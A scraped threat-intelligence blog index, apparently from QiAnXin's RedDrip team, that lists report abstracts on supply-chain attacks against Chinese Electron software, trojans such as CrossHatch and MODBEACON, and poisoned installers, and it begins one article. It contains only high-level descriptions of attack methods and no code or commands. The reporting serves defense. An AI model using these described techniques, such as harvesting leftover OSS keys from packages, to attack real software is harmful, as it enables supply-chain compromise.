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12  </head>
13  <body data-n-head="">
14    <div data-server-rendered="true" id="__nuxt"><!----><div id="__layout"><div><section data-v-0da550e4><div data-v-925a200c data-v-0da550e4><a class="back-ti-nav" data-v-925a200c>返回 TI 主页</a> <div class="nav-bar" data-v-925a200c><div class="ico-favicon" data-v-925a200c><div class="banner-above" data-v-925a200c><i class="banner-logo" data-v-925a200c></i> <div class="line" data-v-925a200c></div> <p class="text-first-line" data-v-925a200c>RESEARCH</p> <p class="banner-below" data-v-925a200c>数 据 驱 动 安 全</p></div></div></div></div> <div class="container" data-v-0da550e4><div data-v-76891ffe data-v-0da550e4><div class="left-con" data-v-76891ffe><div class="main-part" data-v-76891ffe><div class="tag-tip tag-tip-box" style="display:none" data-v-f6a31d1e data-v-76891ffe><div class="back-home" data-v-f6a31d1e><i class="icon-more icon-16" data-v-f6a31d1e></i> <span class="back" data-v-f6a31d1e>返回博客</span></div> <div class="tag-item" data-v-f6a31d1e><span data-v-f6a31d1e>归档:</span> <span class="tag-name" data-v-f6a31d1e>
15      “”
16    </span></div></div> <div class="art-list" data-v-76891ffe><div class="art-container" data-v-ab100740 data-v-76891ffe><div class="text-box" data-v-ab100740><div class="title-home" data-v-4e3604fb data-v-ab100740><a tag="div" target="_blank" data-v-4e3604fb>
17    AI时代下的国产Electron软件供应链攻击活动披露
18    <!----></a></div> <div class="author" data-v-ab100740><p class="art-msg" data-v-ab100740>2026-08-10 By 红雨滴团队 | 事件追踪</p></div> <div class="brief" data-v-ab100740>
19      2026 年 6 月,奇安信威胁情报中心红雨滴团队通过私有情报 AI 生产流程,持续监测到一款新型特种木马 CrossHatch 通过多款国产 Electron 软件供应链传播。部分供应链节点存在定向下发行为。种种迹象表明,攻击者疑似出于经济目的,针对境内及跨境电商发起高水平的攻击活动。
20    </div></div> <div class="s-tags-box s-tags-box-home" data-v-05600494 data-v-ab100740><i class="icon-tag icon-16" data-v-05600494></i> <div class="s-tags" data-v-05600494><span class="s-tag text-grey-12" data-v-05600494>
21      SUPPLY CHAIN ATTAC
22    </span><span class="s-tag text-grey-12" data-v-05600494>
23      AI
24    </span><span class="s-tag text-grey-12" data-v-05600494>
25      ELECTRON
26    </span></div></div></div><div class="art-container" data-v-ab100740 data-v-76891ffe><div class="text-box" data-v-ab100740><div class="title-home" data-v-4e3604fb data-v-ab100740><a tag="div" target="_blank" data-v-4e3604fb>
27    Disclosure of Supply Chain Attack Activities Against Domestic Electron Software in the AI Era
28    <!----></a></div> <div class="author" data-v-ab100740><p class="art-msg" data-v-ab100740>2026-08-07 By 红雨滴团队 | 事件追踪</p></div> <div class="brief" data-v-ab100740>
29      In June 2026, the RedDrip Team of QIANXIN Threat Intelligence Center, through its private AI powered threat intelligence production pipeline, continuously detected a 
29new bespoke trojan, CrossHatch, being distributed via supply chains of multiple domestic Electron software products. Some supply chain nodes exhibited targeted delivery behaviors. Various signs suggest that the attackers, likely for economic purposes, are conducting high level attacks against domestic and cross border e commerce businesses.
30    </div></div> <div class="s-tags-box s-tags-box-home" data-v-05600494 data-v-ab100740><i class="icon-tag icon-16" data-v-05600494></i> <div class="s-tags" data-v-05600494><span class="s-tag text-grey-12" data-v-05600494>
31      SUPPLY CHAIN ATTACK
32    </span><span class="s-tag text-grey-12" data-v-05600494>
33      AI
34    </span><span class="s-tag text-grey-12" data-v-05600494>
35      ELECTRON
36    </span></div></div></div><div class="art-container" data-v-ab100740 data-v-76891ffe><div class="text-box" data-v-ab100740><div class="title-home" data-v-4e3604fb data-v-ab100740><a tag="div" target="_blank" data-v-4e3604fb>
37    Operation Phnom Penh: Silver Fox Ghost Distributor Targets Specific Victims with MODBEACON Custom Trojan
38    <!----></a></div> <div class="author" data-v-ab100740><p class="art-msg" data-v-ab100740>2026-07-06 By 红雨滴团队 | 事件追踪</p></div> <div class="brief" data-v-ab100740>
39      In mid-June 2026, the Red Raindrop Team at Qianxin Threat Intelligence Center detected, through its private intelligence AI production pipeline, a Ghost distributor delivering a highly modular special trojan written in Rust to specific targets. Based on its distinctive string characteristics, we named the trojan MODBEACON. Its victim targeting is highly customized, spanning sectors including technology, education, and state-owned enterprises.
40    </div></div> <div class="s-tags-box s-tags-box-home" data-v-05600494 data-v-ab100740><i class="icon-tag icon-16" data-v-05600494></i> <div class="s-tags" data-v-05600494><span class="s-tag text-grey-12" data-v-05600494>
41      MALWARE
42    </span><span class="s-tag text-grey-12" data-v-05600494>
43      MODBEACON
44    </span><span class="s-tag text-grey-12" data-v-05600494>
45      UTG-Q-1000
46    </span></div></div></div><div class="art-container" data-v-ab100740 data-v-76891ffe><div class="text-box" data-v-ab100740><div class="title-home" data-v-4e3604fb data-v-ab100740><a tag="div" target="_blank" data-v-4e3604fb>
47    Operation Phnom Penh:银狐Ghost分发商针对特定目标投递MODBEACON特马
48    <!----></a></div> <div class="author" data-v-ab100740><p class="art-msg" data-v-ab100740>2026-07-06 By 红雨滴团队 | 事件追踪</p></div> <div class="brief" data-v-ab100740>
49      2026 年 6 月中旬,奇安信威胁情报中心红雨滴团队的私有情报 AI 生产流程检测到一伙 ghost 分发商在特定目标下发一款由 Rust 编写、高度模块化的特种木马;基于其特殊字符串特征,我们将该木马命名为 MODBEACON。其受害目标呈现高度定制化,涉及科技、教育、国企等领域。
50    </div></div> <div class="s-tags-box s-tags-box-home" data-v-05600494 data-v-ab100740><i class="icon-tag icon-16" data-v-05600494></i> <div class="s-tags" data-v-05600494><span class="s-tag text-grey-12" data-v-05600494>
51      MALWARE
52    </span><span class="s-tag text-grey-12" data-v-05600494>
53      MODBEACON
54    </span><span class="s-tag text-grey-12" data-v-05600494>
55      UTG-Q-1000
56    </span></div></div></div><div class="art-container" data-v-ab100740 data-v-76891ffe><div class="text-box" data-v-ab100740><div class="title-home" data-v-4e3604fb data-v-ab100740><a tag="div" target="_blank" data-v-4e3604fb>
57    某加密IM官网供应链事件,“离岸”爱国者卷土重来
58    <!----></a></div> <div class="author" data-v-ab100740><p class="art-msg" data-v-ab100740>2026-05-12 By 红雨滴团队 | 安全事件</p></div> <div class="brief" data-v-ab100740>
59      奇安信威胁情报中心红雨滴团队私有情报生产流程发现一家面向中文用户提供私密IM的软件官网上的安装包被替换。被替换的安装包除了正常流程外,还会释放如下组件,内存加载SNOWLIGHT下载者,最终运行魔改nps隧道。
60    </div></div> <div class="s-tags-box s-tags-box-home" data-v-05600494 data-v-ab100740><i class="icon-tag icon-16" data-v-05600494></i> <div class="s-tags" data-v-05600494><span class="s-tag text-grey-12" data-v-05600494>
61      SUPPLY CHAIN ATTACK
62    </span></div></div></div><div class="art-container" data-v-ab100740 data-v-76891ffe><div class="text-box" data-v-ab100740><div class="title-home" data-v-4e3604fb data-v-ab100740><a tag="div" target="_blank" data-v-4e3604fb>
63    Supply Chain Incident on an Encrypted IM Official Website: "Offshore" Patriots Strike Back
64    <!----></a></div> <div class="author" data-v-ab100740><p class="art-msg" data-v-ab100740>2026-05-12 By 红雨滴团队 | 安全事件</p></div> <div class="brief" data-v-ab100740>
65      The RedDrip Team of QAX Threat Intelligence Center discovered during a private intelligence production process that the installer package on the official website of a software providing private IM for Chinese users had been replaced. The replaced installer, in addition to its normal routine, also drops the following components, loads the SNOWLIGHT downloader in memory, and ultimately runs a modified nps tunnel.
66
67
68    </div></div> <div class="s-tags-box s-tags-box-home" data-v-05600494 data-v-ab100740><i class="icon-tag icon-16" data-v-05600494></i> <div class="s-tags" data-v-05600494><span class="s-tag text-grey-12" data-v-05600494>
69      SUPPLY CHAIN ATTACK
70    </span></div></div></div><div class="art-container" data-v-ab100740 data-v-76891ffe><div class="text-box" data-v-ab100740><div class="title-home" data-v-4e3604fb data-v-ab100740><a tag="div" target="_blank" data-v-4e3604fb>
71    The Shadow of "GGBond": Suspected Supply Chain Attack on Official Installer of a Virtual Mobile Service Provider
72    <!----></a></div> <div class="author" data-v-ab100740><p class="art-msg" data-v-ab100740>2026-04-14 By 红雨滴团队 | 事件追踪</p></div> <div class="brief" data-v-ab100740>
73      Through the private intelligence production process of the RedDrip Team at QiAnXin Threat Intelligence Center, it was discovered that the official website installer of a domestic cloud phone and virtual mobile service provider was suspected of being replaced between February 2026 and the end of March 2026. The service has now returned to normal, and the incident resulted in a large number of government and enterprise endpoints being compromised.
74
75    </div></div> <div class="s-tags-box s-tags-box-home" data-v-05600494 data-v-ab100740><i class="icon-tag icon-16" data-v-05600494></i> <div class="s-tags" data-v-05600494><span class="s-tag text-grey-12" data-v-05600494>
76      SUPPLY CHAIN ATTACK
77    </span><span class="s-tag text-grey-12" data-v-05600494>
78      GGBOND RAT
79    </span></div></div></div><div class="art-container" data-v-ab100740 data-v-76891ffe><div class="text-box" data-v-ab100740><div class="title-home" data-v-4e3604fb data-v-ab100740><a tag="div" target="_blank" data-v-4e3604fb>
80    “猪猪侠”的阴影:疑似某虚拟手机服务商官网安装包被供应链攻击
81    <!----></a></div> <div class="author" data-v-ab100740><p class="art-msg" data-v-ab100740>2026-04-14 By 红雨滴团队 | 事件追踪</p></div> <div class="brief" data-v-ab100740>
82      奇安信威胁情报中心红雨滴团队私有情报生产流程发现国内一家提供云手机、虚拟手机的服务商官网安装包疑似于2026å¹´2月-3月底期间被æ›
82¿æ¢ï¼Œç›®å‰å·²ç»æ¢å¤æ­£å¸¸ï¼Œè¯¥äº‹ä»¶é€ æˆå¤§é‡æ”¿ä¼ç»ˆç«¯è¢«æŽ§ã€‚
83    </div></div> <div class="s-tags-box s-tags-box-home" data-v-05600494 data-v-ab100740><i class="icon-tag icon-16" data-v-05600494></i> <div class="s-tags" data-v-05600494><span class="s-tag text-grey-12" data-v-05600494>
84      供应链攻击
85    </span><span class="s-tag text-grey-12" data-v-05600494>
86      SUPPLY CHAIN
87    </span><span class="s-tag text-grey-12" data-v-05600494>
88      GGBOND RAT
89    </span></div></div></div><div class="art-container" data-v-ab100740 data-v-76891ffe><div class="text-box" data-v-ab100740><div class="title-home" data-v-4e3604fb data-v-ab100740><a tag="div" target="_blank" data-v-4e3604fb>
90    Beware of "Lobsters" Turning into "Scorpions": The "Lobster" You Downloaded from GitHub Could Be Poisoned!
91    <!----></a></div> <div class="author" data-v-ab100740><p class="art-msg" data-v-ab100740>2026-03-11 By 红雨滴团队 | 安全事件</p></div> <div class="brief" data-v-ab100740>
92      As the recent "lobster farming" craze sweeps across the internet, the RedDrip Team of QiAnXin Threat Intelligence Center has detected numerous counterfeit OpenClaw installation sites distributing malware via our private intelligence system. Among the common trojans observed, we identified an "outlier"—carrying Russian debug strings and delivering an unprecedented malicious software. Due to its debug strings, we have named it "Anti-bot".
93    </div></div> <div class="s-tags-box s-tags-box-home" data-v-05600494 data-v-ab100740><i class="icon-tag icon-16" data-v-05600494></i> <div class="s-tags" data-v-05600494><span class="s-tag text-grey-12" data-v-05600494>
94      OPENCLAW
95    </span><span class="s-tag text-grey-12" data-v-05600494>
96      SUPPLYCHAIN SECURITY
97    </span></div></div></div><div class="art-container" data-v-ab100740 data-v-76891ffe><div class="text-box" data-v-ab100740><div class="title-home" data-v-4e3604fb data-v-ab100740><a tag="div" target="_blank" data-v-4e3604fb>
98    当心“龙虾”变“毒蝎”:你在GitHub上领的“龙虾”可能有毒!
99    <!----></a></div> <div class="author" data-v-ab100740><p class="art-msg" data-v-ab100740>2026-03-11 By 红雨滴团队 | 安全事件</p></div> <div class="brief" data-v-ab100740>
100      随着最近“养龙虾”热潮席卷全网,奇安信威胁情报中心红雨滴团队私有情报系统监测到大量仿冒OpenClaw的安装站点正在借机投毒。在一众常见的木马中,我们发现一个“另类”——它携带着俄语调试字符串,投递的是一款前所未见的恶意软件。因其调试字符串,我们将其命名为 “Anti-bot”。
101    </div></div> <div class="s-tags-box s-tags-box-home" data-v-05600494 data-v-ab100740><i class="icon-tag icon-16" data-v-05600494></i> <div class="s-tags" data-v-05600494><span class="s-tag text-grey-12" data-v-05600494>
102      OPENCLAW
103    </span><span class="s-tag text-grey-12" data-v-05600494>
104      SUPPLYCHAIN SECURITY
105    </span></div></div></div> <!----></div> <div class="wechat-box wechat" data-v-480b42e6 data-v-76891ffe><p class="first-line" data-v-480b42e6>关注我们</p> <p class="sec-line" data-v-480b42e6>奇安信威胁情报中心</p> <div class="pic" data-v-480b42e6><img src="/blog/_nuxt/img/2b5eebc.png" alt="分享微信" data-v-480b42e6></div></div></div></div></div> <div class="container" data-v-3165d1a2 data-v-0da550e4><div class="box" data-v-3165d1a2><div class="cat-box" data-v-3165d1a2><div class="box-header" data-v-3165d1a2><i class="icon-cat icon-16" data-v-3165d1a2></i> <p class="text" data-v-3165d1a2>类别</p> <i class="switch icon-arrow-down icon-16" data-v-3165d1a2></i></div> <div class="tag-div box-body" data-v-3165d1a2><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>全部</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>事件追踪</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>专题报告</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>技术研究</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>安全事件</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>安全观点</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>漏洞通告</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>事件通告</a></li></div></div> <div class="tag-box" data-v-3165d1a2><div class="box-header" data-v-3165d1a2><i class="icon-tag icon-16" data-v-3165d1a2></i> <p class="text" data-v-3165d1a2>标签</p> <i class="switch icon-arrow-down icon-16" data-v-3165d1a2></i></div> <div class="tag-div box-body" data-v-3165d1a2><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>全部</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>APT</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>南亚地区</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>DONOT</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>OCEANLOTUS</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>摩诃草</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>海莲花</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>黑产</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>LAZARUS</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>MALWARE</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>PATCHWORK</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>东亚地区</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>BITTER</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>0DAY</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>KIMSUKY</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>DDOS</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>BOTNET</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>SIDECOPY</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>VULNERABILITY</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>年度报告</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>中东地区</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>APT-C-35</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>SOUTH ASIA</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>勒索软件</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>挖矿</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>CONFUCIUS</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>RANSOMWARE</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>SUPPLY CHAIN ATTACK</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>UTG-Q-1000</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>供应链攻击</a></li><li class="tag-item" data-v-3165d1a2><a class="text-12" data-v-3165d1a2>蓝宝菇</a></li></div></div></div> <div class="wechat-box" data-v-480b42e6 data-v-3165d1a2><p class="first-line" data-v-480b42e6>关注我们</p> <p class="sec-line" data-v-480b42e6>奇安信威胁情报中心</p> <div class="pic" data-v-480b42e6><img src="/blog/_nuxt/img/2b5eebc.png" alt="分享微信" data-v-480b42e6></div></div></div></div></section></div></div></div>
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105æ³„露与分析","APT-C-09 Reappeared as Conflict Intensified Between India and Pakistan","复盘网络战:乌克兰二次断电事件分析","第三方支付平台付款1元实付1000,这个新骗术坑了不少人!",Ec,M,Ko,lr,"针对虚拟货币交易平台的定向攻击:以客服色诱为诱饵","安全模式下的梦魇,杀软天敌Snatch勒索变种降世",No,Ic,"利刃鹰组织-盘旋于中东西亚网空的针对性攻击组织活动揭露","疑似双尾蝎APT组织以CIA资助哈马斯相关信息为诱饵的攻击活动分析",Dn,kc,Sc,vc,Tc," “透明部落” APT组织移动端新近活动披露",R,zn,"Project TKBOX:蛰伏数年的“短信收割机”",Jn,N,q,at,nt,G,X,st,ct,xc,Cd,mc,B,mt,H,U,sc,F,Ot,qr,lc,j,Q,K,Ht,Ut,ic,Ks,Cs,Z,ti,Y,$,Ci,ki,Oi,ee,Ts,ws,fs,ae,qo,ne,Fi,bs,"Operation Dragon Breath(APT-Q-27):针对博彩行业的降维打击",te,ed,ie,id,ps,ld,rd,rs,de,le,ud,se,Ns,Td,"RobinBot——快速扩张中的新型 DDoS 僵尸网络","RedGoBot——新型Go语言编写的DDoS僵尸网络","黑客组织木马化Navicat等多个工具针对运维网管人员的攻击活动分析",Xa,os,Jo,to,io,lo,Bc,Hc,Uc,"Kaiji僵尸网络重出江湖,Ares黑客团伙浮出水面?","Kaiji Botnet Resurfaces, Unmasking Ares Hacking Group?",Ba,Ha,Ua,_a,"Analysis of In-the-wild Attack Samples Exploiting Outlook Privilege Escalation Vulnerability (CVE-2023-23397)","Outlook 权限提升漏洞(CVE-2023-23397)在野攻击样本分析","Analysis of Hacker Group's Trojanizing of Multiple Tools, including Navicat, Targeting Operations and Network Management Personnel",so,"Operation $mercenary$:弥漫在东欧平原的战争迷雾","Operation $mercenary$:The Fog of War Spreading Across the Eastern European Plains",co,_c,xd,Fa,Va,"高通GPS服务“隐蔽后门”事件分析","Analysis of the Hidden Backdoor Event in Qualcomm GPS Service",cs,ss,"CVE-2023-28252在野提权漏洞样本分析","CVE-2023-28252: Analysis of In-the-Wild Exploit Sample of CLFS Privilege Escalation Vulnerability","技嘉UEFI固件OEM潜在后门事件分析","Analysis of Potential OEM Backdoor in Gigabyte UEFI Firmware",xs,Ac,"针对安全研究人员的POC投毒事件","POC Poisoning Incident Targeting Security Researchers","云中谍影:Group123组织近期攻击活动分析",Vc,jc,oo,ro,za,"RedGoBot新变种近期活动分析","Analysis of RedGoBot New Variant's Recent Activity","新型僵尸网络CatDDoS正在持续进化","近期oneinstack供应链投毒事件分析","Recent Analysis of the OneinStack Supply Chain Poisoning Incident","Operation HideBear:俄语威胁者将目标瞄准东亚和北美","Operation HideBear: Russian Threat Actors Targeting East Asia and North America",Ja,"号称植入了2000万设备的欺诈后门拓展分析","摩诃草组织(APT-Q-36)借Spyder下载器投递Remcos木马",qs,Za,"Analysis of the Expansion of Fraudulent Backdoors Claimed to Have Been Implanted in 20 Million Devices","Targeting finances! Domestic blackmail gangs start dropping CHM bait",Ya,"Delivery of Remcos Trojan by Hangover Group (APT-Q-36) Leveraging Spyder Downloader",ls,"附IOC!奇安信产品组合成功挫败blackcat勒索软件分发商针对OT的攻击活动","IOC Attached! QiAnXin Product Suite Successfully Thwarts BlackCat Ransomware Distributor's Attacks on OT",ds,re,po,"UTG-Q-003:微软应用商店7ZIP供应链投毒事件始末","UTG-Q-003: Supply Chain Poisoning of 7ZIP on the Microsoft App Store",is,ts,ns,as,"亲以黑客组织Predatory Sparrow再袭伊朗,加油站服务遭大范围打击","Predatory Sparrow Hacker Group Strikes Iran Again, Inflicting Widespread Damage to Gas Station Services","UTG-Q-007:越南语木马ROTbot正在瞄准亚洲地区",cn,on,Go,sr,"UTG-Q-007: Vietnamese Trojan ROTbot Targeting Asia",es,'The Nightmare of EDR: Storm-0978 Utilizing New Kernel Injection Technique "Step Bear"',"EDR的梦魇:Storm-0978使用新型内核注入技术“Step Bear”","UTG-Q-010:针对AI和游戏行业的定向攻击活动","UTG-Q-010: Targeted Attack Campaign Against the AI and Gaming Industry","Operation Veles:针对全球科研教育领域长达十年的窃密活动","Operation Veles: Decade-Long Espionage Targeting the Global Research and Education Sector","New Attack Technique GrimResource Sweeps Through China with Fake Websites","新型攻击技术GrimResource通过仿冒网站席卷国内",$l,Yl,ue,me,Zl,Jl,cr,or,Ga,wn,xn,Tn,An,Cn,"金眼狗团伙近期活动跟踪","Tracking the recent activities of the APT-Q-27","奇安信情报沙箱助力,识破求职网站伪装下的恶意软件",zs,Js,"去中心化的噩梦:隐藏在P2P网络下的后门alphatronBot",vn,Sn,xe,Te,En,On,zl,Kl,ve,Nn,Ys,$s,ec,ac,w,x,jl,Vl,nc,tc,ke,Bn,Hn,Fl,Ee,Oe,Pc,Rn,Vn,jn,"宗教符号武器化,mimo 团伙利用 Microsoft SharePoint RCE 漏洞投递 4L4MD4r 勒索软件",_i,Ir,_t,Er,Or,Qn,Kn,Gr,gr,Mn,kn,Me,De,Re,Ne,$n,et,"披露SetcodeRat:一款专为中文地区定制的Telegram窃密特马",dc,T,A,tt,it,lt,It,V,_,Kr,ot],articleId:[Hl,"59c09501b90b4c18cdd463c4","596f0ad74337d4596e59ed0b","599e42212e2a0031a2426c24","599e41812e2a0031a2426c20","597733a71c670a09e493ee40",We,"599ab40be7218830f4c77f50",Le,"59cb7b1a3662dd1d5767eeae","597733a71c670a09e493ee3f",Bl,He,"599e41ab2e2a0031a2426c22",Ll,Wl,"59b2582aa4a4c5049977d83b","59c4c80dddf7091b76e43cbb",ql,"5968a01f5704074e282bcdde",_e,Ri,"5a544335fba06d002d0612e9",us,"5a1cbbe593df7f0471b46f65","59c4bc7fddf7091b76e43cb0",Nl,"597733a71c670a09e493ee3b",Fe,Dl,ms,"5b2365efa3225d002fad2401",Zo,yt,Ml,At,"5a7bab7669918b0eb42f055c",Ct,Yo,S,Il,$o,kl,Je,Zi,"59c87d90ddf7091b76e43cc1",Et,"5b924874b3601b003b0bcb72",Pl,Dt,Ye,Nt,Gt,k,"5c7658c085b73e0afa74408a","5c776d8985b73e0afa744099",vl,Cl,"5c5014a085b73e0afa74403d","5c767c9085b73e0afa74408f",xl,na,wl,Gs,Ft,"5dd23937d4b2d8004457f145",Xs,Ws,"5de0bf94d4b2d8004457f184","5ecf40923a5e0d004437d970",da,"5d414b96eaf89d0044568970","5e007f103eace7004434a7be","5e7acd9d2df8ea0044c43e92",Ls,"5d6c7afd05cd590040e1ddcb","5dd5f898d4b2d8004457f16c",Xo,"5e6ae8698c93f30044947d47",Wo,"5e9671b22df8ea0044c43eb8","5ee18bab3a5e0d004437d973",jt,hl,fl,bl,"5ccea745bf7fdb003a4362aa",Bs,Lo,sl,Zt,"5de60b2cd4b2d8004457f188",Yt,"5c4950e385b73e0afa74402b","5d11f2ca02670300443ff663","5ddf7fd7d4b2d8004457f180","5e731e758c93f30044947d51","5d1b1efa278d09003e46f792",ni,Hs,"5dd62989d4b2d8004457f171","5e7adf182df8ea0044c43e9d",Us,ca,ii,"5d3915aeeaf89d0044568969","5d4bd169eaf89d004456897c",di,tl,Bo,"5c4950e985b73e0afa74402c",nl,al,oi,"5d882d05d537a8004411f93d","5dd233bbd4b2d8004457f140",Jd,"5c94c911925654003ecbd40a","5d1497d402670300443ff66a",_s,"5efd592b08fcb40044f6afeb",fi,"5bf2736f514bb60f29fdb701",rr,I,gi,Kd,Qd,"5dedfd26d4b2d8004457f192",wi,ra,Ti,Ai,"5dd4e953d4b2d8004457f158","5e17db225e5db40044f9594f",Fs,jd,"5c77708385b73e0afa74409b","5c94cb6e925654003ecbd40c","5d5a21fdeaf89d0044568992","5dd4f2e0d4b2d8004457f162","5e69a2d68c93f30044947d43","5e7c1e7c2df8ea0044c43ea7",Li,Vs,Vd,"5d11d36e02670300443ff659","5d63b39c05cd590040e1ddc2","5d81b716d537a8004411f938","5f1e75f208fcb40044f6b000",_d,ba,ar,pr,"5dd62cded4b2d8004457f179","5df2f4c93eace7004434a7b6",Ho,Ud,"5fc5c10ca302f8002c6e96ed","5fcda0fc
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105十大政府承包商 L3Harris 的陷落","A zero-day attack targeting iOS spy weapon developers led to the downfall of L3Harris, a top 10 US government contractor.","研发人员请注意:你克隆的代码,可能“带毒”",'Attention developers: The code you cloned may be "Tainted"',"EmEditor Supply Chain Incident Details Disclosed: Distribution of Information-Stealing Malware Sweeps Through Domestic Government and Enterprise Entities",Wr,Lr,ur,Zr,Yr,Pt,pt],articleId:[rc,"67cf99a19b3d670341837aad","69003aa142d74d004422ad68","6900675742d74d004422ad6e","690076f842d74d004422ad74","6900804642d74d004422ad7d","694d038a42d74d004422adb5",Fr,Vr,Ar,$r,ep,Yn,Zn],count:14,category:f},{title:["威胁情报的层次分析","WannaCry勒索蠕虫:过程、后果及反思","态势感知中的威胁情报","威胁情报在应急响应中的应用","威胁情报的上下文、标示及能够执行的建议","情报内生:高级威胁检测实践的必要条件","Qi'an Xin RedDrip Team APT Scanning Engine (RAS) Joins Polyswarm Platform"],articleId:["597733a71c670a09e493ee38","598307456fa1a61d9d267dc8","59bf2452f3cfbc17b223a971","5c2889fe85b73e0afa743fc3","5bd91852b3601b003b0bcbcf","5e23b4cc5955bb003a89e7b4","61303c3bcffe2d003443c074"],count:7,category:"安全观点"},{title:["公开的隐秘:CVE-2024-30051在野提权漏洞研究",Co,"ALPC 之殇 - 8月未知 Windows 在野提权 Nday 漏洞研究","The Tragedy of ALPC - Unknown Windows Privilege Escalation Nday Vulnerability Research in August"],articleId:["66d925313d9e0100395d1776",ko,"677cf4f7247df90044bd1bc4","677cf736247df90044bd1bc6"],count:4,category:"漏洞通告"},{title:["Hakbit勒索病毒突袭国内,奇安信首发解密工具","美国燃油管道商遭勒索软件攻击停运事件研判"],articleId:["5dd62b4fd4b2d8004457f175","609a246fc5e9b50031869804"],count:2,category:"事件通告"}],{success:!0,msg:[{_id:zr,title:Kr,category:s,readableId:"supply-chain-attack-activities-against-domestic-electron-software-cn",isPdfArticle:a,isAdvisorArticle:a,abstract:"2026 年 6 月,奇安信威胁情报中心红雨滴团队通过私有情报 AI 生产流程,持续监测到一款新型特种木马 CrossHatch 通过多款国产 Electron 软件供应链传播。部分供应链节点存在定向下发行为。种种迹象表明,攻击者疑似出于经济目的,针对境内及跨境电商发起高水平的攻击活动。",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:["SUPPLY CHAIN ATTAC","AI",cp],publish_time:"2026-08-10T07:59:25.000Z",content:'<h3 class="line" data-line="0">背景</h3>\n<p class="line" data-line="2">自 2021 年我们发现 Operation Dragon Dance<sup>[1]</sup> 活动以来,就不断强调国产 Electron 软件的脆弱性——基于 Chromium 嵌入式框架开发的产品极易遭受远程代码执行攻击。此后,我们又陆续发现境外 APT 组织针对国产 Electron 软件几十个 0day 漏洞展开的间谍活动,包括 Operation DevilTiger<sup>[2]</sup> 与 Operation South Star<sup>[3]</sup>。</p>\n<p class="line" data-line="4">进入 AI 时代,Electron 源码审计的门槛急剧降低:攻击者仅需消耗token 即可挖掘出可利用的接口。甚至在部分案例中,AI 直接从 asar 包内残留的 OSS Key 入手,将供应链攻击的成本进一步拉低。</p>\n<p class="line" data-line="6">这一变化已转化为真实威胁。今年我们已监测到十余起国产软件供应链攻击事件,攻击者涵盖高端黑产与新兴 APT 组织。部分非政治目的供应链攻击已经向开源社区披露<sup>[4][5]</sup>。与此同时,AI 出色的编码能力也催生了大量工程化的特种木马,仅上半年我们就捕获了相当规模的新型样本。总而言之,AI 驱动的网络攻击正在对各厂商的高级威胁发现能力与归属能力构成前所未有的挑战。</p>\n<p class="line" data-line="8">2026 年 6 月,奇安信威胁情报中心红雨滴团队通过私有情报 AI 生产流程,持续监测到一款新型特种木马 CrossHatch 通过多款国产 Electron 软件供应链传播。部分供应链节点存在定向下发行为。种种迹象表明,攻击者疑似出于经济目的,针对境内及跨境电商发起高水平的攻击活动。</p>\n<p class="line" data-line="10">天擎“六合”高级威胁防御引擎已经可以对CrossHatch特马进行拦截:</p>\n<p class="line img-box text-center" data-line="12"><img src="/uploads/2026/08/10/d9f8793ec74076eb4de10f1efbd9da1d.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="16">国产Electron软件供应链入口</h3>\n<h4 class="line" data-line="18">
